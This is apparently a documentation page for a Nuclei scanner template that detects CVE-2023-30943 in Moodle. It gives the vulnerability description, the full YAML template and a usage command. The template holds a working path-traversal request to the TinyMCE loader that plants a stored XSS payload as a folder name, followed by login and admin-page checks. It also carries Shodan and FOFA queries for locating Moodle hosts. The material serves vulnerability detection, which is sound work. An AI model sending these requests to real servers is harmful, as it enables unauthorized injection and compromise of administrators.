Moodle - Cross-Site Scripting/Remote Code Execution
ID: CVE-2023-30943
Severity: medium
Author: ritikchaddha
Tags: cve,cve2023,moodle,xss,rce,authenticated
Description
Section titled “Description”The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.
YAML Source
Section titled “YAML Source”id: CVE-2023-30943
info: name: Moodle - Cross-Site Scripting/Remote Code Execution author: ritikchaddha severity: medium description: | The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel. impact: | Successful exploitation of these vulnerabilities could lead to unauthorized access, data theft, and potential compromise of the Moodle application and its users. reference: - https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/?utm_source=twitter&utm_medium=social&utm_campaign=wordpress&utm_content=security&utm_term=mofu - https://nvd.nist.gov/vuln/detail/CVE-2023-30943 - http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-77718 - https://bugzilla.redhat.com/show_bug.cgi?id=2188605 - https://lists.fedoraproject.org/archives/list/[email protected]/message/54TM5H5PDUDYXOQ7X7PPYWP4AJDAE73I/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N cvss-score: 5.3 cve-id: CVE-2023-30943 cwe-id: CWE-610,CWE-73 epss-score: 0.01155 epss-percentile: 0.84809 cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* metadata: max-request: 4 vendor: moodle product: moodle shodan-query: - title:"Moodle" - cpe:"cpe:2.3:a:moodle:moodle" - http.title:"moodle" fofa-query: title="moodle" google-query: intitle:"moodle" tags: cve,cve2023,moodle,xss,rce,authenticated
http: - raw: - | GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/<input><img%20src=x%20onerror=alert(document.domain)>.png HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded - | GET /login/index.php HTTP/2 Host: {{Hostname}} - | POST /login/index.php HTTP/2 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
anchor=&logintoken={{token}}&username={{username}}&password={{password}} - | GET /admin/tool/filetypes/edit.php?name=add HTTP/1.1 Host: {{Hostname}}
host-redirects: true
matchers-condition: and matchers: - type: word part: body_4 words: - "<img src=x onerror=alert(document.domain)>" - ">archive" - "File icon" condition: and
- type: word part: header_4 words: - text/html
- type: status part: header_4 status: - 200
extractors: - type: regex part: body name: token group: 1 regex: - 'name="logintoken" value="([a-zA-Z0-9]+)">' internal: true# digest: 4a0a00473045022100d546dade1880637d2afcb470cffd9008406291be82ef6083e955cc6119974790022008d53e56e91b77d0e41070b43bb07806df49cc5004dec233279a56c5580be0b4:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-30943.yaml"